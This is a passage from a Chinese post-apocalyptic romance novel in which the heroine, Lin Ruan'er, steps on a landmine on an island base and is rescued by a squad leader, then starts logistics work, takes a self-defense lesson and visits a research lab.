这天,林阮儿自己进入了植物园,时先生的意思她可以随时摘取的锯齿叶子,她自行摘了不少准备到屋内用特殊仪器加工成安神茶,然后,她就发现了道路尽头的那扇褪色铁门,应该是植物园的后门吧,是不是能捷径通往自己的木屋呢。
想到这里,林阮儿好奇地推开了门,门外不是她预想中的通道后门,而是一条向下的混凝土阶梯,阶梯边缘长着深绿色的苔藓,湿漉漉地反着顶上的光。
她犹豫了三秒,手里还捏着时先生给她的临时通行卡,继续朝前走。
“也许下面是储藏室?”她自言自语着,小心地往下走。
空气里的植物花草香味渐渐淡了,下面并不是什么储藏室。
这里是一片荒废的露天场地,大约半个足球场那么大,三面围着锈迹斑斑的铁丝网,另一面是陡峭的岩石崖壁,崖壁下方就是灰蓝色的海。
天色有些晚了,海风带着咸腥气扑面而来,她只是注意到了场地里长着及膝高的杂草,然后就是在杂草丛里零星插着些褪色的小三角形状的旗子,紫的黄的,插得毫无规律。
林阮儿还没来得及细想那些旗子是什么意思,右脚刚往前踏出半步,就听到了那声清脆的咔哒声音。
她整个人僵住了,似乎已经预料到了不妙的后果,她的右脚始终不敢再动,感觉到自己的脚下可能是地雷的瞬间,冷汗一下子就浸湿了她后背的衣料。
她不敢低头看,只能死死盯着前方杂草里一块已经废弃丢掉的铁皮,但视线却无法聚焦。
“别动。”
声音从她的右侧传来,很沉。
林阮儿眼珠子往那边转了转,不敢扭动脖子,她看见铁丝网有个缺口,缺口处站着个人,这名男人很高,他穿着沾满油污的篮色工装裤,上身是件洗得发灰的黑色背心,露出两条覆着结实肌肉的手臂。
手臂上有新旧交叠的疤痕,还有大片靛青色的纹身图案,纹的是某种缠绕的机械齿轮和鹰身,线条极其粗犷,在他手里提着个工具箱,工具箱的一角蹭着地面。
男人没立刻靠近,而是站在原地打量她。
他又重复一遍,声音平稳得可怕,对她道:“现在在你脚下的那玩意儿是PN-2,压力触发,你现在的身体重量压着它,但只要一抬脚,引信弹起来,零点三秒后炸,爆炸范围五米,你两条腿就没了,如果运气更烂点,搞不好肚子会直接开个洞。”
林阮儿嘴唇哆嗦了一下,没敢发出声音。
虽然感受到了海风吹拂着脸颊,但额前的发依旧被汗液濡湿,她不能呼吸了一般,这时,男人把工具箱轻轻放在地上,动作很慢,然后,他开始朝她走来,但不是直线,而是绕着弯,脚步落得极轻,每一步都先踩实了才转移重心。
他眼睛一直盯着她脚下的地面,对她说:“这儿是废弃改装场,外围是扫雷区,立了三个警告牌,难道你一个都没看见?”
林阮儿终于挤出声音,嗓子发紧:“我是从植物园后门进来的,没有牌子,就一扇铁门,我就推开了。”
男人停在她左侧大约三米外,蹲下身,开始用手拨开杂草,回应她:“你说是后门吗?那破门封了两年了,上周暴雨冲垮了东边一段篱笆,临时从这儿开了条路运的材料,昨天才通的,警告牌估计还没挂过去,后勤部的那帮人真是吃干饭的。”
他内心暗暗骂道。
他拨草的动作很小心,手指又稳又快,林阮儿看见他小臂肌肉随着动作微微隆起。
她从他的角度往下瞥了一眼,在自己右脚鞋子的下方,泥土的颜色确实有点不一样,微微隆起一个很小的鼓包。
是自己没有观察仔细,不然也不会踩到了,她格外紧张,听不到他后续说的话,双腿微微颤抖着。
林阮儿:“能行吗?如果是压力触发的话,我的脚挪开了,会被炸飞吗?”
男人没有直接回答她,半晌才缓声:“不好说,只能尽我全力。”
“就是说,我有概率会死,是么?”她听见自己说,声音带了哭腔。
男人看着她发抖的样子,真像是一只受惊的白兔,话都说不利落了。
见这状况,他偏逗她:“差不多,概率一半一半。”
“啊?求求你救救我,我还不想就这么死,不是有意闯入这里的。”
男人哦了声,道:“好,那你先告诉我,你谁?怎么混进基地核心区的?”
“我叫林阮儿,在前哨站,和沈舵指挥官一起来的,时先生允许我参观植物园……”她的语速很快,跟对方解释清楚了。
她还提到了柯夜,男人幽幽道:“哦,雪狐也在。”
林阮儿来不及细问雪狐是什么意思,男人只是抬眼看了她,然后继续,“柯夜那家伙,就喜欢到处拣些娇滴滴的小玩意儿带在身边,这才跟时先生要求带你来。”
娇滴滴的小玩意儿?他不会说的是自己吧,她可不是,这话听起来一点也不礼貌。
林阮儿现在的全部注意力都在自己的右脚上,感觉脚底已经有点麻木了,她咬住下唇,拼命想稳住。
“千万别抖,你越抖,底下弹簧越吃劲。”
男人啧了一声,蹲下身,他已经清掉了她脚边一圈的杂草,露出那片伪装过的雷壳子,然后盯着看了几秒,从后腰皮套里抽出一把多功能钳,那钳口带着锯齿和弯钩。
他没急着动手,而是抬头看她:“林阮儿是吧?我叫秋荃,代号烈酒,烈火的烈,喝酒的酒,这儿的人通常都会这么叫我。”
烈酒,这代号倒是跟他整个人气质很配。
林阮儿冲他点点头。
“我是野战三队的,也是改装车队的队长,这破场子以前归我管,现在也偶尔来,这里的雨燕基地是个岛,东西长南北窄,你站这儿是西岸最偏僻的角落,这里平时没人来,柯夜那家伙偶尔会到这边来,哦,你还不知道他的代号吧?他代号就是雪狐。”
他说话时手没停,用钳子尖端极轻地刮开雷壳边缘的泥土,动作十分谨慎精细,林阮儿没话找话,只想分散一下自己的注意力。
“你为什么叫烈酒?”
“刚来时不服管,跟人打赌,之后一口气灌了两斤工业酒精兑的酒酿,没死,就得了个这名字,这名儿还挺好,比本名好记。”
他刮开了一圈土,露出雷壳边缘,然后他放下钳子,从工具箱里摸出两个扁平的金属片,他调整了一下姿势,单膝跪在泥地里,整个人几乎趴下去,脸离她脚踝不到二十公分。
“现在听好了,这活儿不能出错,出错了,咱俩一起上天,所以你别轻易动,也别说话,呼吸也要放轻,明白就眨两下眼。”
林阮儿用力眨了两下眼睛。
秋荃点点头,他深吸一口气,然后屏住了呼吸,双手各捏一片金属片,从左右两侧缓缓贴近她的鞋底边缘,林阮儿看见他额角渗出了不少汗珠……
时间被拉长了,每一秒过得简直就像一小时。
终于,秋荃的动作停住了,他维持着那个姿势,缓缓吐出一口气:“好了,稳定片已经卡住了,所以现在我数三下,你慢慢把脚抬起来,记住,一定要非常慢,重心移到左腿,准备好了吗?”
林阮儿又眨了两下眼。
“一。”
她左脚用力,撑住身体。
“二。”
右腿肌肉绷紧,准备上抬。
“三!”
……
林阮儿鞋底离开泥土的瞬间,她看见那黑色的圆形雷壳依然安静地埋在那里,没有弹起,更没有出现爆炸。
而秋荃双手很稳,两片金属片死死卡在了最关键的位置。
她把脚抽回来,踉跄着往后倒退两步,跌坐在混凝土的台阶上,浑身脱力了。
秋荃这才慢慢抽出金属片,后退几步,一屁股坐在杂草地上,从裤兜里摸出个扁铁盒,倒出一根手卷的烟,点燃,深深吸了一口。
但他没有让烟雾往林阮儿那边跑,避开了。
林阮儿抱着膝盖,半天才缓过神:“谢谢你。”
“甭谢我,下次长眼睛,雨燕岛看着规整,角落里要命的东西多着呢,不是每个地方都像你们前哨站那么有安全标识的。”
林阮儿看了看四周,害怕坐在这边也不安全。
“放心,你坐的那台阶安全,我脚下这块也清干净了。”
秋荃他似乎还想说什么,但这时
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,外面传来脚步声。
林阮儿抬头,看见一个人影走了出来,高瘦身材,穿着浅蓝色制服,是柯夜。
秋荃率先打招呼,语气随性:“柯夜,你来得正好,再晚一点,就把你的人给报销了。”
柯夜扫了一眼林阮儿,眉头微皱:“下午排查时候,发现后门的警告牌没挂,还想提醒下后勤部,结果真出事了。”
柯夜径直走到林阮儿面前,向她伸手:“怎么样?能站起来吗?”
林阮儿犹豫了一下,握住他的手,他的手很热很有力,轻轻一拉就把她带了起来,她腿还有点软,晃了一下,柯夜另一只手迅速扶住她胳膊,稳住了她。
“谢谢。”她小声说。
“下次,在进入未明确区域前,可以先来问我,或者叫上我一起,这样保险一点。”
秋荃在一旁看戏似的抱着胳膊:“行了雪狐,别训人了,这小姑娘可是吓得够呛,人是你让来的,也不看好点。”
柯夜这才把目光转向秋荃:“西区第三段感应阵列出了故障,需要你车队出两辆工程车协助检修,明天早上六点,能安排吗?”
“六点?你还不如直接杀了我,七点,最早七点,我的人昨晚通宵改那辆重卡,现在都在补觉呢。”
柯夜只好沉默了两秒:“七点一刻,三队长,故障可以涉及到了外围的预警,不能再拖。”
秋荃点头:“我说呢,什么事还得你一队长亲自来说,成,那就七点一刻。”
柯夜的目光越过了秋荃,直直看向了林阮儿。
“走我后面,踩我的脚印走。”
林阮儿赶紧跟上了他的步子,秋荃在他们身后喊了一声:“喂,林阮儿!”
她回头。
秋荃:“记住了,我办公区域就在基地的东侧厂房,要是在柯夜那边待腻了,可以随时来找我。”
柯夜摇了摇头:“林小姐,别听他的。”
然后望向了秋荃,“三队长,管好你手下的人,少惦记我的人。”
秋荃没有回应,之后,柯夜和林阮儿就重新走出了扫雷区,他们是通过了铁丝网的缺口离开的,然后踏上了一条水泥道。
他们走了一会儿,回到木屋时,屋门口就站着个人,他身形挺拔,听到了脚步声,他抬起了头。
林阮儿发现这人是沈舵。
林阮儿心里一松,走过去说:“沈指挥官。”
沈舵看她的脸色不是很好,问她发生什么事了。
柯夜替她简明扼要的回答:“她误进了废弃扫雷场,踩中了PN-2,三队队长帮她解除了,后门的警告标识缺失,我会处理。”
沈舵脸色瞬间沉了下来:“是我的疏忽,不该让你一个人逛,受伤了吗?”
林阮儿:“没有,多亏了烈酒。”
沈舵:“烈酒?”
柯夜:“是三队长秋荃的代号。”
沈舵这才松了口气,转向柯夜:“那多谢了,柯队长,也替我谢谢秋队。”
“分内事。”柯夜点头,然后看了看林阮儿,又看了看沈舵。
三人沉默了一阵,柯夜忽然说:“刚才我看林小姐,一直很急着去找沈指挥官。”
林阮儿解释:“因为毕竟我们同行来的。”
柯夜:“哦,看来我和林小姐还是不够熟,但以后也得彼此相熟一下,毕竟你差点在我的防区出事,咳,真后悔没有早点认识你。”
沈舵笑了笑,手很自然地搭上林阮儿的肩:“现在认识也不晚。不过明天,我们就该走了。”
柯夜淡淡地说,然后话锋一转:“不过看沈舵指挥官这护着的架势,我猜林小姐在你们那儿就有不少的护花使者,至少您就是其中之一。”
沈舵倒是坦然:“林小姐她虽然不擅长战斗,但在信息整理和资源规划方面很有天赋,她的安全必须受到足够的保证。”
“原来如此,雨燕基地的环境和前哨站不太一样,林小姐是需要时间适应。”
“我会帮她的。”沈舵说。
柯夜没再接继续这个话题,他看了眼时间:“我还有巡防任务,先走了。”
柯夜转身离开后,沈舵这才低头看林阮儿,语气十分温和道:“吓坏了吧?回去我给你泡杯热可可。”
24. 第 24 章
早晨五点半,天还没亮透,林阮儿就跟着沈舵深一脚浅一脚地踩在泥泞里,朝那辆漆皮斑驳的越野车走去。
沈舵拉开了车门,还没等他们坐稳,一个人影就从旁边那顶墨绿色的帐篷后头快步绕了过来,挡在了车前。
是柯夜。
他脸上没什么特别的表情,只是抬手按在了还没关严的车门上:“沈指挥官,林小姐,你们暂时走不了了。”
沈舵松开刚刚握上的方向盘,转过头问:“什么意思?我们还赶时间回前哨站。”
柯夜侧开身,指了指西边那片被晨雾遮住的山影,说:“昨夜山头那边起了酸雨,不是普通的那种,带强腐蚀性的,通往前哨站的峡谷大桥被冲垮了一大截,我们的车队过不去,你们目前就没法离岛了。”
林阮儿没说话,只是看着沈舵。
而沈舵的眉头紧皱:“垮了多少,维修队呢,预计要多久?”
“垮了将近三分之一,维修队已经带着材料过去了,但那种环境下作业,速度快不了,保守估计至少需要一周时间才能勉强通行轻型车辆,所以,你们得在这里滞留一段时间,等那边完全修好。”
“那就是说,时间不确定。”沈舵问。
柯夜实话道:“可以这么说。”
之后,柯夜就从怀里摸出一个巴掌大的黑色设备,递进车窗。
“这是短程加密通讯仪,沈指挥官如果不信我,可以向那边的驻地基站联系,另外,这个通讯仪的功率足够联系你的前哨总站,等了解清楚情况,就直接和他们沟通说明即可。”
沈舵盯着那设备看了两秒,接了过去。
柯夜看了林阮儿一眼,补充了一句:“雨燕基地有基本的安全保障,物资也还算充足,留在这里,总比冒险强。”
沈舵拿着通讯仪,走到了离车稍远一点的一块空地上,开始仪器的操作。
大约过了十几分钟,沈舵走了回来,在他的脸上看不出什么特别的情绪,只是把通讯仪递还给柯夜:“你说的属实,我问了前哨站,他们同意等桥修好,再离开。”
柯夜点点头,接过设备:“那就好。”
沈舵应了一声,然后转向林阮儿,声音压低了些:“阮儿,你过来一下,有点事跟你说。”
林阮儿跟着他往旁边走了几步,才开口道:“刚才联系过后……”
听到他说完,林阮儿这才明白,原来还有一条紧急的备用通道,只是前哨站知道的人极少,是早期勘探留下的,能绕开大桥,直接通往前哨站的后山入口,但通道很窄,情况不明,而且一次性最多只能保证一个人安全通过,上面的意思是让沈舵先走。
话里的意思显然很委婉了,沈舵说他拒绝了,自己不能把她留在这里,但他过两天就会有一次重要的任务,必须提前回,沈舵看着她,像在等她的反应,然后说:“我会尽快过来接你。”
林阮儿只是点了点头,道:“沈指挥官先回吧,我留在这里,没事的。”
林阮儿其实早就清楚,自己没有异能,没有不可替代的利用价值,自然前哨站不会真的把自己留下,沈舵:“我会尽快让他们来接你,一定。”
柯夜心中了然,便转头对林阮儿说:“好了,既然沈指挥官那边已经安排好了,那么,林小姐,你跟我来。”
林阮儿重新回到了雨燕基地。
她主动要求可以做点什么事,总不能一直在这里休息吧,于是柯夜前去找到了时先生,二十分钟后,返回。
林阮儿站在木屋前。
柯夜对她说:“林小姐,你的临时岗位,时先生已经确认了,还是做登记工作,隶属营地后勤部,那我现在带你过去?”
林阮儿嗯了一声,把木屋里的行李收拾了下,然后就走到了柯夜身边。
他的步子迈得不算快,领着林阮儿穿过一片排列得还算整齐的帐篷区,这里比她想象的要大一些,人也多,有些人行色匆匆,有些人蹲在帐篷边擦拭武器,偶尔投来打量的目光。
他们走到了一片用铁丝网和简易栅栏隔开的区域前,不远处的入口有个牌子,写着后勤保障区。
正要继续朝前走,柯夜忽然停下了脚步,对她说:“在这里等等,我马上就回来。”
林阮儿停下步子,这边有个铁丝网,她只听到了一阵砰砰声,从不远处传来,声音传来的方向,是一片用沙袋和废弃轮胎围出来的空地。
空地上立着几个灰扑扑的人形靶子,靶子前面,站着七八个穿着统一的浅蓝色作战服的人。
为首的那名男人,他个子很高,甚至比柯夜还要高出小半个头,一头黑发剃得很短,侧脸的线条流畅,下颌绷得很紧。
他手里提着一把看起来就沉重异常的长枪,此刻,他正对着面前那几个士兵说话,声音不高,隔着一段距离听不清内容。
一个站在前排的年轻士兵脖子梗着,脸上带着明显的不服气,嘴里似乎在争辩什么。
为首的高个子男人没再说话,只是转过身,面向靶子,他甚至没有刻意瞄准,就那么随意地抬起手臂,扣动扳机。
“砰!砰!砰!砰!砰!”
连续五声枪响,对面五个人形靶子的头部靶心位置,几乎同时爆开一团灰白色的烟尘,没有一个落空。
那几个士兵,包括那个不服气的年轻人,全都闭上了嘴,呆呆地看着靶子。
林阮儿也看呆,她并不是没见过人用枪,但这么快准恨的,确实还是她第一次见。
士兵们大多垂着头,半晌不吭声了,男人的声音粗厚,直接传了过来。
“一帮新兵蛋子,狂可以,拿点真实水准出来,有人听到枪.声都能吓得尿裤子的,趁早滚蛋!”
那名挑衅的新兵彻底沉默,那高个子男人回转了身,目光瞥到了铁丝网外的林阮儿。
他的眼神很深,没什么情绪,但带着一种野兽般的警觉。
“什么人?”他开口,声音十分冷硬。
这时候,柯夜刚好回来,他见状,挡在了林阮儿前面一点点,语气如常:“六队长,是我,柯夜。”
他侧身示意了一下林阮儿,继续,“这位是林阮儿,刚来的后勤登记员,是时先生安排的,我正想带她去后勤部报到。”
六队长韩司昱点头,上下扫了一遍林阮儿,哦了声,没再说什么,只是对那些士兵说:“继续,换移动靶,刚才顶嘴的那个,加练两组匍匐。”
柯夜带着林阮儿继续走,对她说:“那是第六队队长,韩司昱,平时,就负责基地外围警戒和巡逻队的训练,话少,规矩大,但本事挺硬,代号是孤狼。”
林阮儿:“哦。”
“没有事儿的话,就别往那边凑
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就行。”
到了后勤部,那是一排相对宽敞的板房,门口堆着些箱子和工具,但还算整齐,门朝外开着,能听到里面隐约的说话声和东西搬动的声响。
柯夜在门口停下:“我就送你到这儿,里面有人接手,有什么问题,找这里的负责人,或者用内部线路找我。”
林阮儿点点头:“谢谢。”
柯夜转身走了,林阮儿直接踏进了板房里。
房间很大,堆满了各种物资箱、零件等,显得有些杂乱。
几个人正在里面忙碌,有的在清点箱子,有的在修理一个小发电机,发出嗡嗡的噪音。
她走进去后,后勤部的三位管理兵瞬间愣了,差点忘了呼吸。
林阮儿穿了一件料子看起来柔软的米白色衬衣,袖子挽到了手肘,露出一截白皙细腻的小臂,带着自然的微卷头发,松松地束在脑后,几缕发丝垂在脸颊边。
琥珀色的瞳孔和樱粉色的嘴唇,后勤部都是大男人,粗野惯了,忽然有个女人到来,长得这么好看,干净,自然咽了口口水。
“你是新来的?”其中一名士兵问她。
林阮儿:“是的,我叫林阮儿,来做登记员。”
男人冲她伸出了手,说:“哦,刚接到通知,说会有位新同事过来,路上辛苦了吧?”
“还好。”
士兵握住了她的手,女人的手很嫩很滑,软软白白的。
“嘿!新来的?”一个洪亮的声音忽然插.了进来。
他穿着后勤部的橙色制服,脸上还带着点机油污渍,从一堆箱子后面冒了出来,好奇地打量着林阮儿。
“从哪儿来的啊?”
“前哨站。”
“前哨站?那你怎么跑我们这雨燕基地来了?”
林阮儿还没想好怎么回答,另一个正在搬箱子的中年男人就笑骂了一句:“小江,你查户口呢?没看见人姑娘刚来,累着呢!”
“我这不是好奇嘛!咱这地方,难得来个新人,还是这么斯文的姑娘,以前不都是些糙老爷们调来调去的。”
和林阮儿握手的士兵小贺对她说:“你别介意,他们就是这样的,基地流动性大,突然来个新人,大家都好奇,你先坐吧。”
小贺指了指旁边一张空着的椅子说。
林阮儿坐了下来,小贺继续对她说:“你的工作内容时先生应该和你说了吧。”
“嗯,主要是入库出库物资的清点登记,还有每日消耗报表。”
“看来我也不用费神了。”
“不用,系统这边我前几天就大致了解过。”
之后,小贺他又凑了过来,这次压低了些声音:“哎,林阮儿,你来的时候,有没有看见外面训练场那帮煞星?特别是他们那个头儿。”
林阮儿:“看见了。”
“啧,离他们远点,尤其是那个韩队长,那家伙简直不是人,训练起来能把人扒层皮,枪法邪门,我们后勤部的人,如果没事绝对不往他们那边凑,也就柯夜队长那样儿的,能跟他平平静静说两句话。”
中年男人又哼了一声:“你也少在背后叨叨人家,没韩队他们在外头拼外命,你还能在这儿安安稳稳修你的破发电机?”
“咳,我这不是先和我的新同事提个醒嘛。”小贺说着话,眼神没少朝林阮儿脸上看。
25. 第 25 章
训练场的空地上,后勤部二十几号人站得歪歪扭扭的,小贺用胳膊肘碰了碰身边的小江,压低声音说:“韩队教我们防身术?太阳打西边出来了。”
小江撇了撇嘴,目光瞟向场地入口处,韩司昱已经站在那里了,黑短袖挽到肘部,露出的手臂线条硬朗,甚至得能看见绷紧的青筋。
他手里没拿任何东西,就那么空手站着,眼神扫过来的时候,小江他不自觉地把肩膀挺直了些。
林阮儿站在第二排靠右的位置,和其他后勤人员一样穿着橘黄色的工装,她的长发简单地扎在脑后,露出干净的鹅蛋脸。
韩司昱迈开步子走到队伍正前方,脚步落地很稳,他停了停,目光从每个人脸上扫过。
“从今天开始,每周三下午一小时,我教你们基础防身术,别误会,不是我主动想教,后勤部人员总不能基础防护术都没有,自保能力人人都得有,所以,这是时先生的意思,难道有人有异议吗?”
队伍里三十名后勤部人员一片寂静,远处铁丝网外面,几个韩司昱手下的士兵正往这边张望,交头接耳地说着什么。
其中一个瘦高个推了推旁边的人,两人一起笑起来。
韩司昱朝那边瞥了一眼,铁丝网外的笑声立刻暂停了。
韩司昱目光敛回:“没有异议就按我说的做,第一个动作,如何挣脱正面抓握,你们两人一组,现在分组。”
人群动起来,瞬间乱作了一团,小贺和小江自然凑到了一起,两人面对面站着,都不太情愿地伸出手。
“你先抓我手腕。”小贺说。
“凭什么我先?你抓我。”
“石头剪刀布?”
“行了行了,我抓你。”小江不耐烦地抓住小贺的手腕,力道轻飘飘的。
“用力点啊,这样能练出什么来!那边的两个,就是你们。”
韩司昱的声音突然插进来,他不知什么时候走到了小贺小江的旁边,沉声:“你们在玩过家家?”
两人讪讪地垂下眼,赶紧做动作,之后韩司昱没再说什么,转身走向下一组。
小江盯着他的背影,近乎用气音对小贺说:“看见没,这不是我刻板印象,长期训练场上的人,就觉得谁都该和他们一样硬邦邦的。”
就在此时,队伍另一头传来韩司昱的呵斥声:“胳膊抬高点,没吃饭吗?抬到与肩平齐!”
被他训的是个中年男人,后勤部的老伍,额头已经不停开始冒汗了,韩司昱站在他面前,面无表情地纠正他的姿势,手指在老伍的胳膊肘上用力往上抬了抬,老伍只能是龇牙咧嘴地忍着,不敢出声。
“保持这个姿势,三分钟。”韩司昱说完,继续在队伍间巡视。
时间一分一秒地过去,小贺的手臂已经酸得发抖,小江的腿也在打颤。队伍里此起彼伏地响起吸气声和细微的抱怨声音。
韩司昱走到林阮儿那组时,脚步明显放缓了。
林阮儿的搭档是后勤部的李姐,两人正笨拙地模仿着刚才示范的姿势,这时候,李姐抓住林阮儿的手腕,林阮儿试图转身挣脱,但方向完全反了。
“不对。”韩司昱的声音响起时,林阮儿的手就僵在了半空。
韩司昱站到她身侧,距离比她预想的要近。
“方向反了。”韩司昱说着,伸出右手握住她的手腕,他并不是李姐刚才那种敷衍的抓握,而是带着力道的握法。
“现在,我要你转身,用另一只手推开我的肘关节。”韩司昱的声音更低了些,对她说。
林阮儿试着转身,而韩司昱的手随着她的动作移动,但没有松开。
“另一只手。”他提醒。
林阮儿抬起左手,犹豫着该推哪里时,韩司昱用空着的左手抓住她的左手,引向自己的右肘关节处:“这里,用力推。”
林阮儿推了推,力道轻得几乎感觉不到。
“用力,假设我真的要伤害你,你会这么温柔吗?”韩司昱无奈地笑了。
林阮儿咬咬牙,加大了力道,这次韩司昱顺势松开了手,仿佛真的是被她挣脱的,但林阮儿知道,那是他主动放开的。
“再来一次,注意看我的站位,你的重心要下沉。”
接下来的十分钟里,韩司昱一直待在林阮儿这组,他一遍遍地抓着她的手腕,引导她转身、推肘、撤步等。
之后,他的手轻轻碰到她的腰,在她重心不稳时扶一把,在她转身时轻轻带一下。
“你的注意力不集中,在想什么?”韩司昱,声音放轻了些。
林阮儿抬头看他,发现他正盯着自己的眼睛,距离太近了,近得她能看清他瞳孔的颜色,黝黑的。
“没想什么,就是不太习惯。”
“多练就好,再来,这次我不提醒你。”
林阮儿点点头,深吸一口气,李姐在旁边看着,表情有些微妙,而远处的小贺和小江也注意到了这边的情况,两人交换了一个眼神。
“看见没?”小贺用嘴型说。
小江耸耸肩,继续摆弄着自己酸痛的胳膊。
铁丝网的外面的士兵继续从另一头传来小声议论。
“韩队对那位小姐可真耐心。”
“是啊,刚才有人的动作错了,直接就被骂得狗血淋头。”
“我们之前不也都那么过来的吗?那位漂亮小妞都做错三次了,韩队还一遍遍教。”
“你说是不是……”
“别瞎说,韩队是什么人,能看上后勤部的人吗?”
“那可说不准,那姑娘她长得确实水灵啊。”
他们正说着,韩司昱突然朝铁丝网这边转过头,几个士兵立刻站直身体,装作自己在检查铁丝网的样子。
韩司昱看了他们几秒,迈步走了过去。
他穿过训练场,在铁丝网前停下,外面的士兵齐刷刷地站成一排。
“很闲?”韩司昱问。
“报告队长,我们在检查西区铁丝网的加固情况。”队里一位瘦高个的回答他,眼睛直视前方。
“检查完了?”
“检查完了。”
“那就去跑圈,十圈,现在。”
“是!”
之后,他转头,继续指导林阮儿。
“腿,注意腿的位置。”
林阮儿按照他说的调整姿势。
“这次好多了,一定记住现在这个感觉。”
接下来的课程,后勤部的其他人只要是动作错了就重做,姿势不对就保持到对为止,后勤部的人叫苦连天,但没人敢真的再抱怨出声。
一小时后,韩司昱终于喊了停。
他站在队伍前,脸上没什么表情:“今天就到这里,解散。”
小贺揉着酸痛的肩膀,边走边对小江说:“我
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算是明白了,韩队长这叫区别对待。”
“懂我了吧?不过至少没让你单独跑圈,他手下的士兵不是更惨?”
林阮儿走在最后,累得不行,一旁的李姐说:“你是新来的,又年轻,确实受欢迎啊。”
林阮儿:“李姐。”
“我五十多了,谁也不会看上我,你就不同,韩队那可是雷厉风行,人人都怕的,但对你真的不错。”
“他应该就是比较负责吧。”林阮儿说。
李姐笑了:“我看不完全是。”
林阮儿也不知道怎么接话,只好加快脚步,她突然想起来,有份资料忘在后勤仓库了,是明天要用的物资清单。
“李姐,你先回去,我去那边的仓库拿个东西。”
“这么晚了,明天再拿呗。”
“明天一早就要用,我很快回来。”
仓库区在是一排低矮的平房,走廊里的灯坏了两个,光线很是昏黄,她推开仓库的门,里面堆满了各种箱子和器械,清单应该在靠墙的那个文件柜里,她昨天整理时放进去的。
文件柜挺高,最上面一层她得踮脚才能够到,林阮儿就摸索着打开柜门,找那份蓝色封皮的文件夹,找到了,在最上面一层的角落里。
她踮起脚,伸长手臂去够,手指刚刚碰到文件夹的边缘,但就是差那么一点够不着,她又往上踮了踮,整个人几乎要失去平衡。
“需要帮忙吗?”突然响起的声音吓了她一跳,她猛地转身,背撞在文件柜上,发出哐当一声响。
门口站着个男人,但一时间就看不清脸,只能看出个子很高,肩膀的轮廓很宽。
他往前走了两步,林阮儿终于看清,是柯夜。
林阮儿松了口气,揉了揉撞疼的肩膀:“柯队长,你怎么在这儿?”
“来取几个零件,倒是你,一个人摸黑来仓库?”
“我拿份资料,明天要用,就在上面,我够不着。”
柯夜走过来,站在她身后抬头看了看。
一道黑色身影笼罩着她,柯夜竟然稍微一伸胳膊就拿到了,毫不费力。
“以后你够不着,这边有梯子。”柯夜说着,走向仓库另一头,从一堆杂物后面拖出一架折叠梯子,他把梯子架在文件柜旁边,试了试稳固性。
“好。”
“挺结实的还,你试试。”
林阮儿爬上梯子,梯子确实挺稳的,柯夜这才放下心。
“谢谢。”林阮儿抱着文件夹,拍了拍上面的灰。
“不客气。”
之后,两人一起往仓库外走。
“韩队长今天教你们防身术了?”柯夜突然问。
林阮儿愣了一下:“嗯,柯队长也知道了。”
“听说的,那学得怎么样?”
“韩队长教得很认真。”
柯夜侧头看了她一眼,没再多问,两人走出仓库,准备去的方向不同,他说:“你自己回去小心。”
“嗯。”林阮儿抱着文件夹往自己的住处木屋走去。
三天后,林阮儿去到雨燕基地的实验区域。
实验区域远比她想象中的要大,需要穿过三道密封门,走廊里的灯光是晃眼的白色,空气里总有股消毒水的气味。
她在一扇标着C1的门前停下,刷了卡,门上的绿灯亮了,林阮儿站了几秒,门自动开了。
26. 第 26 章
房间内,靠墙摆着一排排金属架,上面满是各种仪器和玻璃器皿,正中央是几张实验台,台面散落着一些设备,最里面有个隔离区,透过玻璃能看见里面有一些监测仪器。
一个男人背对着门,正低头看着显微镜,他穿着白大褂,听到开门声,转过身来。
男人看起来只有二十出头,个子很高,戴着副金属框眼镜,他的头发理得很顺,额前的刘海有些遮住眼睛。
“林阮儿?”
男人开口,声音低沉。
“是时先生让我来的。”
男人摘下眼镜,道:“我是谢忱,负责这里的实验项目。”
谢忱盯着她看了几秒,说:“时先生不会随便让人来这儿。”
“那是因为什么?”
“他信任你。”
林阮儿点头,问:“这里具体是做什么呀?”
“体能强化,不是所谓的进化,也不是异能,那些东西太玄乎,我们不搞那些,我们只研究怎么让普通人变得体格强健,可以对抗丧尸而已。”
说着,他就打开了冷藏柜,从里面取出一个小托盘,上面放着几支密封的试管,液体在灯光下泛着很淡的蓝色。
“比如这个,能让肌肉爆发力提高三到五倍,持续时间大约两小时,可副作用是之后会有十二小时左右的虚脱期,而且不能连续使用,简单来说就是刺激神经系统,让身体暂时突破自我保护机制,但得小心,剂量过头,人就会废掉。”
林阮儿听得很认真,对方说:“不过放心,我们一般使用这个,一定会注重剂量,不会过量的。”
他走回实验台,示意林阮儿过来。
台面上有个透明的观察箱,里面趴着一只蝴蝶,翅膀是暗蓝色的,边缘有圈金色纹路。
“看这个。”
谢忱从抽屉里拿出把小镊子,小心地打开观察箱,用镊子轻轻夹住蝴蝶的一只翅膀,蝴蝶挣扎起来,翅膀剧烈扇动,而谢忱没松手,镊子慢慢收紧,蝴蝶的翅膀边缘出现了一道裂痕,然后他松开镊子,把观察箱重新盖好。
“现在看着。”
林阮儿盯着那只蝴蝶,它起初还在箱底扑腾,但很快安静下来,受伤的翅膀微微颤动,那道裂痕以肉眼可见的速度慢慢闭合,像有什么无形的针线在缝合。
大约过了五分钟,翅膀恢复如初,只留下一道很浅的
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痕迹。
“自愈能力提高了一百倍。”
一下子,蝴蝶就能展开翅膀,他的目光十分专注,然后看向了林阮儿。
缓缓道:“很美,不是么?”
她不确定他是在说这只蝴蝶,还是在说实验本身。
谢忱继续:“其实我最想研究的是免疫系统,不是那种简单的伤口愈合,是全面的免疫强化。”
“有可能吗?”
“理论上有,但需要一些特殊的血液样本,这不是随便什么人的血都行,特别是RH阴性血,那种血型太稀少,我们到现在都没找到合适的实验体,而且就算找到了,排异反应也可能要命。”
林阮儿点头表示理解。
“我基本上会每天记录观察一些实验的结果,偶尔可以教你做些基础项的操作,等时间久了,你会更加了解这里的运行规则。”
说着话时,谢忱转身走向了隔离区,他刷卡打开玻璃门,林阮儿她跟着走了进去,发现墙角有张折叠椅,椅子上竟然睡着个人。
是个年轻男人,他蜷在椅子里,身上盖着件绿色的军大衣,他似乎睡得很沉,呼吸均匀,头发乱糟糟地遮住了半边脸。
27. 第 27 章
谢忱让她在这里随便看看,自己有事先出去,林阮儿转悠了下,隔离区很封闭,空间也小,墙面是不锈钢板,浅灰的颜色是方便发现一些污渍,好定期进行消毒,LED嵌顶灯发出了幽蓝色的光,这里的天花板角落有个红色的生化危害警示灯。
这里没有她想象中的高级通信装置之类,只有一些培养皿样本,还有架子旁边放着的各种试验试剂,林阮儿很小心,并不会碰触任何东西。
